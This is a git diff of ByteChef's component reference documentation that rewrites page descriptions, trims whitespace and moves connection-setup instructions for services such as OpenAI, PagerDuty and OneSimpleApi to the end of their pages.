@@ -140,8 +135,6 @@ Type: BOOLEAN
 
 
 
-
-
 ### Delete Key-Value Pair
 Name: deleteKeyValuePair
 
@@ -151,7 +144,7 @@ Name: deleteKeyValuePair
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| source | Source | OBJECT <details> <summary> Properties </summary> &#123;&#125; </details> | The object from which to delete the key-value pair. | true |
+| input | Input | OBJECT <details> <summary> Properties </summary> &#123;&#125; </details> | The object from which to delete the key-value pair. | true |
 | key | Key | STRING | The key of the key-value pair to delete. | true |
 
 #### Example JSON Structure
@@ -160,7 +153,7 @@ Name: deleteKeyValuePair
   "label" : "Delete Key-Value Pair",
   "name" : "deleteKeyValuePair",
   "parameters" : {
-    "source" : { },
+    "input" : { },
     "key" : ""
   },
   "type" : "objectHelper/v1/deleteKeyValuePair"
@@ -174,8 +167,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Equals
 Name: equals
 
@@ -214,8 +205,6 @@ Type: BOOLEAN
 
 
 
-
-
 ### Merge Two Objects
 Name: mergeTwoObjects
 
@@ -243,12 +232,4 @@ Name: mergeTwoObjects
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/ods-file_v1.mdx b/docs/content/docs/reference/components/ods-file_v1.mdx
index 8bc82e5e84a..5ae2864f84f 100644
--- a/docs/content/docs/reference/components/ods-file_v1.mdx
+++ b/docs/content/docs/reference/components/ods-file_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "ODS File"
-description: "Reads and writes data from a ODS file."
+description: "ODS File component. Read and write OpenDocument Spreadsheets. Learn how to implement this in your ByteChef workflows."
+title: ODS File
 ---
 
-
 Categories: Helpers
 
 
@@ -64,8 +63,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Write to File
 Name: write
 
@@ -120,10 +117,4 @@ Type: FILE_ENTRY
   "name" : "",
   "url" : ""
 }
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/ollama_v1.mdx b/docs/content/docs/reference/components/ollama_v1.mdx
index 5be23c35ff4..85d951b4c43 100644
--- a/docs/content/docs/reference/components/ollama_v1.mdx
+++ b/docs/content/docs/reference/components/ollama_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Ollama"
-description: "Get up and running with large language models."
+description: "Ollama component for ByteChef. Local LLM inference. Learn how to implement this in your ByteChef workflows."
+title: Ollama
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -31,7 +30,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -47,7 +45,7 @@ Name: ask
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| model | Model | STRING <details> <summary> Options </summary> <span>codellama</span>, <span>dolphin-phi</span>, <span>gemma</span>, <span>gemma3</span>, <span>llama2</span>, <span>llama2-uncensored</span>, <span>llama3</span>, <span>llama3.1</span>, <span>llama3.2</span>, <span>llama3.2-vision</span>, <span>llama3.2-vision:90b</span>, <span>llama3.2:1b</span>, <span>llama3.2:3b</span>, <span>llava</span>, <span>mistral</span>, <span>mistral-nemo</span>, <span>moondream</span>, <span>mxbai-embed-large</span>, <span>neural-chat</span>, <span>nomic-embed-text</span>, <span>orca-mini</span>, <span>phi</span>, <span>phi3</span>, <span>qwen2.5</span>, <span>qwen2.5:3b</span>, <span>qwen2.5vl</span>, <span>qwen3-embedding:8b</span>, <span>qwen3:0.6b</span>, <span>qwen3:1.7b</span>, <span>qwen3:4b</span>, <span>qwen3:4b-thinking</span>, <span>qwen3:7b</span>, <span>qwq</span>, <span>starling-lm</span> </details> | ID of the model to use. | true |
+| model | Model | STRING <details> <summary> Options </summary> <span>codellama</span>, <span>dolphin-phi</span>, <span>gemma</span>, <span>gemma3</span>, <span>llama2</span>, <span>llama2-uncensored</span>, <span>llama3</span>, <span>llama3.1</span>, <span>llama3.2</span>, <span>llama3.2-vision</span>, <span>llama3.2-vision:90b</span>, <span>llama3.2:1b</span>, <span>llama3.2:3b</span>, <span>llava</span>, <span>mistral</span>, <span>mistral-nemo</span>, <span>moondream</span>, <span>mxbai-embed-large</span>, <span>neural-chat</span>, <span>nomic-embed-text</span>, <span>orca-mini</span>, <span>phi</span>, <span>phi3</span>, <span>qwen2.5</span>, <span>qwen2.5:3b</span>, <span>qwen2.5vl</span>, <span>qwen3:0.6b</span>, <span>qwen3:1.7b</span>, <span>qwen3:4b</span>, <span>qwen3:4b-thinking</span>, <span>qwen3:7b</span>, <span>qwq</span>, <span>starling-lm</span> </details> | ID of the model to use. | true |
 | format | Format | STRING <details> <summary> Options </summary> <span title="User prompt and optional system prompt.">SIMPLE</span>, <span title="Full control over the messages sent to the model.">ADVANCED</span> </details> | Format of providing the prompt to the model. | true |
 | userPrompt | Prompt | STRING | User prompt to the model. | true |
 | systemPrompt | System Prompt | STRING | System prompt to the model. | false |
@@ -154,12 +152,4 @@ Name: ask
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/one-simple-api_v1.mdx b/docs/content/docs/reference/components/one-simple-api_v1.mdx
index 3739013234b..d3801480ead 100644
--- a/docs/content/docs/reference/components/one-simple-api_v1.mdx
+++ b/docs/content/docs/reference/components/one-simple-api_v1.mdx
@@ -29,22 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create API Token
-
-1. Navigate to [OneSimpleApi](https://onesimpleapi.com/) dashboard.
-2. Click on your account icon.
-3. Click on **API Tokens**.
-4. Enter name of your token.
-5. Click on **Create**.
-6. Here you can see your **API Token**.
-7. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/8a51616c-3b10-443b-8c38-f842ff4ca5e0?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -112,8 +96,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### URL Shortener
 Name: urlShortener
 
@@ -169,8 +151,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Web Page Information
 Name: webInformation
 
@@ -238,5 +218,22 @@ Type: OBJECT
 
 
 
+<hr />
 
+# Additional Instructions
+
+## Connection Setup
 
+### Create API Token
+
+1. Navigate to [OneSimpleApi](https://onesimpleapi.com/) dashboard.
+2. Click on your account icon.
+3. Click on **API Tokens**.
+4. Enter name of your token.
+5. Click on **Create**.
+6. Here you can see your **API Token**.
+7. Done 🚀.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/8a51616c-3b10-443b-8c38-f842ff4ca5e0?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/open-ai_v1.mdx b/docs/content/docs/reference/components/open-ai_v1.mdx
index 719b568b3b1..c47f5269e67 100644
--- a/docs/content/docs/reference/components/open-ai_v1.mdx
+++ b/docs/content/docs/reference/components/open-ai_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "OpenAI"
-description: "OpenAI is a research organization that aims to develop and direct artificial intelligence (AI) in ways that benefit humanity as a whole."
+description: "OpenAI component for ByteChef. Integrate GPT models and AI text generation into your automation workflows."
+title: OpenAI
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -29,18 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Go to the [OpenAI API](https://platform.openai.com/settings/organization/general).
-2. In the left sidebar, click on **API Keys**.
-3. Click **Create new secret key**.
-4. Enter a name and select the project for the key and click **Create secret key**.
-5. Copy the API key and use it to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/coPV2tDXMJmcpVHubS0J?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -126,98 +113,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
-### Ask (stream)
-Name: streamAsk
-
-`Ask anything you want and stream the response.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| model | Model | STRING <details> <summary> Options </summary> <span>chatgpt-4o-latest</span>, <span>gpt-3.5-turbo</span>, <span>gpt-3.5-turbo-instruct</span>, <span>gpt-4</span>, <span>gpt-4-turbo</span>, <span>gpt-4.1</span>, <span>gpt-4.1-mini</span>, <span>gpt-4.1-nano</span>, <span>gpt-4o</span>, <span>gpt-4o-audio-preview</span>, <span>gpt-4o-mini</span>, <span>gpt-4o-mini-audio-preview</span>, <span>gpt-4o-mini-realtime-preview</span>, <span>gpt-4o-mini-search-preview</span>, <span>gpt-4o-realtime-preview</span>, <span>gpt-4o-search-preview</span>, <span>gpt-5</span>, <span>gpt-5-chat-latest</span>, <span>gpt-5-mini</span>, <span>gpt-5-nano</span>, <span>o1</span>, <span>o1-mini</span>, <span>o1-pro</span>, <span>o3</span>, <span>o3-mini</span>, <span>o4-mini</span> </details> | ID of the model to use. | true |
-| format | Format | STRING <details> <summary> Options </summary> <span title="User prompt and optional system prompt.">SIMPLE</span>, <span title="Full control over the messages sent to the model.">ADVANCED</span> </details> | Format of providing the prompt to the model. | true |
-| userPrompt | Prompt | STRING | User prompt to the model. | true |
-| systemPrompt | System Prompt | STRING | System prompt to the model. | false |
-| attachments | Attachments | ARRAY <details> <summary> Items </summary> [FILE_ENTRY] </details> | Only text and image files are supported. Also, only certain models supports images. Please check the documentation. | false |
-| messages | Messages | ARRAY <details> <summary> Items </summary> [&#123;STRING\(role), STRING\(content), [FILE_ENTRY]\(attachments)&#125;] </details> | A list of messages comprising the conversation so far. | true |
-| response | Response | OBJECT <details> <summary> Properties </summary> &#123;STRING\(responseFormat), STRING\(responseSchema)&#125; </details> | The response from the API. | true |
-| maxTokens | Max Tokens | INTEGER | The maximum number of tokens to generate in the chat completion. | false |
-| n | Number of Chat Completion Choices | INTEGER | How many chat completion choices to generate for each input message. | false |
-| temperature | Temperature | NUMBER | Controls randomness:  Higher values will make the output more random, while lower values like will make it more focused and deterministic. | false |
-| topP | Top P | NUMBER | An alternative to sampling with temperature, called nucleus sampling,  where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. | false |
-| frequencyPenalty | Frequency Penalty | NUMBER | Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim. | false |
-| presencePenalty | Presence Penalty | NUMBER | Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics. | false |
-| logitBias | Logit Bias | OBJECT <details> <summary> Properties </summary> &#123;&#125; </details> | Modify the likelihood of specified tokens appearing in the completion. | false |
-| stop | Stop | ARRAY <details> <summary> Items </summary> [STRING] </details> | Up to 4 sequences where the API will stop generating further tokens. | false |
-| user | User | STRING | A unique identifier representing your end-user, which can help admins to monitor and detect abuse. | false |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Ask (stream)",
-  "name" : "streamAsk",
-  "parameters" : {
-    "model" : "",
-    "format" : "",
-    "userPrompt" : "",
-    "systemPrompt" : "",
-    "attachments" : [ {
-      "extension" : "",
-      "mimeType" : "",
-      "name" : "",
-      "url" : ""
-    } ],
-    "messages" : [ {
-      "role" : "",
-      "content" : "",
-      "attachments" : [ {
-        "extension" : "",
-        "mimeType" : "",
-        "name" : "",
-        "url" : ""
-      } ]
-    } ],
-    "response" : {
-      "responseFormat" : "",
-      "responseSchema" : ""
-    },
-    "maxTokens" : 1,
-    "n" : 1,
-    "temperature" : 0.0,
-    "topP" : 0.0,
-    "frequencyPenalty" : 0.0,
-    "presencePenalty" : 0.0,
-    "logitBias" : { },
-    "stop" : [ "" ],
-    "user" : ""
-  },
-  "type" : "openAi/v1/streamAsk"
-}
-```
-
-#### Output
-
-
-___Sample Output:___
-
-```Sample stream```
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
 ### Create Image
 Name: createImage
 
@@ -284,8 +179,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Text-To-Speech
 Name: createSpeech
 
@@ -347,8 +240,6 @@ Type: FILE_ENTRY
 ```
 
 
-
-
 ### Create Transcriptions
 Name: createTranscription
 
@@ -396,5 +287,18 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
+<hr />
 
+# Additional Instructions
 
+## Connection Setup
+
+1. Go to the [OpenAI API](https://platform.openai.com/settings/organization/general).
+2. In the left sidebar, click on **API Keys**.
+3. Click **Create new secret key**.
+4. Enter a name and select the project for the key and click **Create secret key**.
+5. Copy the API key and use it to create a connection in ByteChef.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/coPV2tDXMJmcpVHubS0J?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/oracle_v1.mdx b/docs/content/docs/reference/components/oracle_v1.mdx
index 048e6fb4ad2..a04349bbd5e 100644
--- a/docs/content/docs/reference/components/oracle_v1.mdx
+++ b/docs/content/docs/reference/components/oracle_v1.mdx
@@ -1,10 +1,8 @@
 ---
-title: "Oracle SQL"
-description: "Select, insert, update and delete data from Oracle Databases."
+description: Oracle SQL component for ByteChef. Query, insert, update, and delete data from Oracle databases in workflows."
+title: Oracle SQL
 ---
 
-
-
 Type: oracleSql/v1
 
 <hr />
@@ -30,7 +28,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -69,8 +66,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Insert
 Name: insert
 
@@ -110,8 +105,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Update
 Name: update
 
@@ -153,8 +146,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Delete
 Name: delete
 
@@ -189,8 +180,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Execute
 Name: execute
 
@@ -226,8 +215,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ## Triggers
 
 
@@ -265,9 +252,4 @@ The output for this action is dynamic and may vary depending on the input parame
   },
   "type" : "oracleSql/v1/newRow"
 }
-```
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/pagerduty_v1.mdx b/docs/content/docs/reference/components/pagerduty_v1.mdx
index 8af89bfa44c..72c24074e41 100644
--- a/docs/content/docs/reference/components/pagerduty_v1.mdx
+++ b/docs/content/docs/reference/components/pagerduty_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "PagerDuty"
-description: "With PagerDuty, you can get real-time alerts, manage on-call schedules, and automate parts of your incident response process."
+description: "PagerDuty component for ByteChef. Incident management. Learn how to implement this in your ByteChef workflows."
+title: PagerDuty
 ---
 
-
 Categories: Project Management
 
 
@@ -29,24 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find OAuth Client ID and Client Secret
-
-1. Navigate to your dashboard.
-2. Click on **Account Settings**.
-3. Hover on **Integrations**.
-4. Click on **API Access Keys**
-5. Click on **Create New API Key**.
-6. Enter description of your API key.
-7. Click on **Create Key**.
-8. Here you can see API key. Copy it because you will not be able to see it again.
-9. Click on **Close**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/8793e22c-bae1-443d-a310-0d979bec1d56?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -214,8 +195,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Incident Note
 Name: createIncidentNote
 
@@ -285,8 +264,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Update Incident
 Name: updateIncident
 
@@ -447,8 +424,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -503,10 +478,30 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find OAuth Client ID and Client Secret
+
+1. Navigate to your dashboard.
+2. Click on **Account Settings**.
+3. Hover on **Integrations**.
+4. Click on **API Access Keys**
+5. Click on **Create New API Key**.
+6. Enter description of your API key.
+7. Click on **Create Key**.
+8. Here you can see API key. Copy it because you will not be able to see it again.
+9. Click on **Close**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/8793e22c-bae1-443d-a310-0d979bec1d56?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/pdf-helper_v1.mdx b/docs/content/docs/reference/components/pdf-helper_v1.mdx
index 14c0fa681c6..35c0944ae1a 100644
--- a/docs/content/docs/reference/components/pdf-helper_v1.mdx
+++ b/docs/content/docs/reference/components/pdf-helper_v1.mdx
@@ -1,6 +1,6 @@
 ---
 title: "PDF Helper"
-description: "null"
+description: "PDF Helper component. Convert PDFs and extract text. Learn how to implement this in your ByteChef workflows."
 ---
 
 
@@ -72,8 +72,6 @@ Items Type: FILE_ENTRY
 ```
 
 
-
-
 ### Extract Text
 Name: extractText
 
@@ -115,8 +113,6 @@ Type: STRING
 
 
 
-
-
 ### Image to PDF
 Name: imageToPdf
 
@@ -126,7 +122,7 @@ Name: imageToPdf
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| images | null | ARRAY <details> <summary> Items </summary> [FILE_ENTRY\($image)] </details> | List of images that will be converted to one PDF. | true |
+| image | Image | FILE_ENTRY | The image which will be converted to PDF. | true |
 | filename | Filename | STRING | The name of the PDF file. | true |
 
 #### Example JSON Structure
@@ -135,12 +131,12 @@ Name: imageToPdf
   "label" : "Image to PDF",
   "name" : "imageToPdf",
   "parameters" : {
-    "images" : [ {
+    "image" : {
       "extension" : "",
       "mimeType" : "",
       "name" : "",
       "url" : ""
-    } ],
+    },
     "filename" : ""
   },
   "type" : "pdfHelper/v1/imageToPdf"
@@ -177,8 +173,6 @@ Type: FILE_ENTRY
 ```
 
 
-
-
 ### Text to PDF
 Name: textToPdf
 
@@ -236,5 +230,3 @@ Type: FILE_ENTRY
 
 
 
-
-
diff --git a/docs/content/docs/reference/components/perplexity_v1.mdx b/docs/content/docs/reference/components/perplexity_v1.mdx
index ccc624fee6b..e871cbfa8cb 100644
--- a/docs/content/docs/reference/components/perplexity_v1.mdx
+++ b/docs/content/docs/reference/components/perplexity_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Perplexity"
-description: "Perplexity AI provides a unique AI service that integrates its language models with real-time search capabilities."
+description: "Perplexity component for ByteChef. AI-powered search. Learn how to implement this in your ByteChef workflows."
+title: Perplexity
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -31,7 +30,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -110,12 +108,4 @@ Name: ask
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/petstore_v1.mdx b/docs/content/docs/reference/components/petstore_v1.mdx
index cd3d8af2ca0..7b69d3d76fc 100644
--- a/docs/content/docs/reference/components/petstore_v1.mdx
+++ b/docs/content/docs/reference/components/petstore_v1.mdx
@@ -1,10 +1,8 @@
 ---
-title: "Petstore"
-description: "This is a sample Pet Store Server based on the OpenAPI 3.0 specification."
+description: "Petstore component for ByteChef. Sample API. Learn how to implement this in your ByteChef workflows."
+title: Petstore
 ---
 
-
-
 Type: petstore/v1
 
 <hr />
@@ -41,7 +39,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -127,8 +124,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Update an existing pet
 Name: updatePet
 
@@ -208,8 +203,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Finds Pets by status
 Name: findPetsByStatus
 
@@ -276,8 +269,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Finds Pets by tags
 Name: findPetsByTags
 
@@ -344,8 +335,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Deletes a pet
 Name: deletePet
 
@@ -378,8 +367,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Find pet by ID
 Name: getPetById
 
@@ -443,8 +430,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Updates a pet in the store with form data
 Name: updatePetWithForm
 
@@ -479,8 +464,6 @@ This action does not produce any output.
 
 
 
-
-
 ### uploads an image
 Name: uploadFile
 
@@ -541,8 +524,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Returns pet inventories by status
 Name: getInventory
 
@@ -570,8 +551,6 @@ Type: OBJECT
 
 
 
-
-
 ### Place an order for a pet
 Name: placeOrder
 
@@ -639,8 +618,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Delete purchase order by ID
 Name: deleteOrder
 
@@ -671,8 +648,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Find purchase order by ID
 Name: getOrderById
 
@@ -730,8 +705,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create user
 Name: createUser
 
@@ -807,8 +780,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Creates list of users with given input array
 Name: createUsersWithListInput
 
@@ -882,8 +853,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Delete user
 Name: deleteUser
 
@@ -914,8 +883,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Get user by user name
 Name: getUserByName
 
@@ -977,8 +944,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Update user
 Name: updateUser
 
@@ -1052,10 +1017,4 @@ Type: OBJECT
   "phone" : "",
   "userStatus" : 1
 }
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/pinecone_v1.mdx b/docs/content/docs/reference/components/pinecone_v1.mdx
index 3a72cabe6a3..1072fa0a2fa 100644
--- a/docs/content/docs/reference/components/pinecone_v1.mdx
+++ b/docs/content/docs/reference/components/pinecone_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Pinecone"
-description: "Pinecone is a vector database designed for efficient similarity search and storage of high-dimensional data, commonly used in machine learning and AI applications."
+description: "Pinecone component for ByteChef. Vector database. Learn how to implement this in your ByteChef workflows."
+title: Pinecone
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -32,7 +31,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -60,8 +58,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Search Data
 Name: search
 
@@ -87,12 +83,4 @@ Name: search
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/pipedrive_v1.mdx b/docs/content/docs/reference/components/pipedrive_v1.mdx
index 85277df1d65..3f35dacb7de 100644
--- a/docs/content/docs/reference/components/pipedrive_v1.mdx
+++ b/docs/content/docs/reference/components/pipedrive_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Pipedrive"
-description: "The first CRM designed by salespeople, for salespeople. Do more to grow your business."
+description: "Pipedrive component for ByteChef. CRM and sales management. Learn how to implement this in your ByteChef workflows."
+title: Pipedrive
 ---
 
-
 Categories: CRM
 
 
@@ -32,7 +31,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -113,8 +111,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Add Deal
 Name: addDeal
 
@@ -203,8 +199,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Search Deals
 Name: searchDeals
 
@@ -286,8 +280,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Delete Deal
 Name: deleteDeal
 
@@ -337,8 +329,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Details of Deal
 Name: getDealDetails
 
@@ -405,8 +395,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Leads
 Name: getLeads
 
@@ -474,8 +462,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Add Lead
 Name: addLead
 
@@ -548,8 +534,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Delete Lead
 Name: deleteLead
 
@@ -599,8 +583,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Lead Details
 Name: getLeadDetails
 
@@ -658,8 +640,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Search Leads
 Name: searchLeads
 
@@ -729,8 +709,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get All Organizations
 Name: getOrganizations
 
@@ -793,8 +771,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Add Organization
 Name: addOrganization
 
@@ -853,8 +829,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Search Organizations
 Name: searchOrganization
 
@@ -917,8 +891,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Delete Organization
 Name: deleteOrganization
 
@@ -968,8 +940,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Details of Organization
 Name: getOrganizationDetails
 
@@ -1026,8 +996,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Persons
 Name: getPersons
 
@@ -1105,8 +1073,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Add Person
 Name: addPerson
 
@@ -1194,8 +1160,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Search Persons
 Name: searchPersons
 
@@ -1275,8 +1239,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Delete Person
 Name: deletePerson
 
@@ -1326,8 +1288,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Details of Person
 Name: getPersonDetails
 
@@ -1400,8 +1360,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -1446,7 +1404,6 @@ Type: OBJECT
 ```
 
 
-
 ### New Deal
 Name: newDeal
 
@@ -1489,7 +1446,6 @@ Type: OBJECT
 ```
 
 
-
 ### New Organization
 Name: newOrganization
 
@@ -1530,7 +1486,6 @@ Type: OBJECT
 ```
 
 
-
 ### New Person
 Name: newPerson
 
@@ -1573,7 +1528,6 @@ Type: OBJECT
 ```
 
 
-
 ### Updated Deal
 Name: updatedDeal
 
@@ -1616,7 +1570,6 @@ Type: OBJECT
 ```
 
 
-
 ### Updated Organization
 Name: updatedOrganization
 
@@ -1657,7 +1610,6 @@ Type: OBJECT
 ```
 
 
-
 ### Updated Person
 Name: updatedPerson
 
@@ -1702,10 +1654,8 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/pipeliner_v1.mdx b/docs/content/docs/reference/components/pipeliner_v1.mdx
index 5c002a75930..6ecaddca1b5 100644
--- a/docs/content/docs/reference/components/pipeliner_v1.mdx
+++ b/docs/content/docs/reference/components/pipeliner_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Pipeliner"
-description: "Pipeliner CRM is a comprehensive sales management tool that helps streamline sales processes through visual pipline management, contact organization, sales forecasting, and reporting."
+description: "Pipeliner component for ByteChef. Sales management CRM. Learn how to implement this in your ByteChef workflows."
+title: Pipeliner
 ---
 
-
 Categories: CRM
 
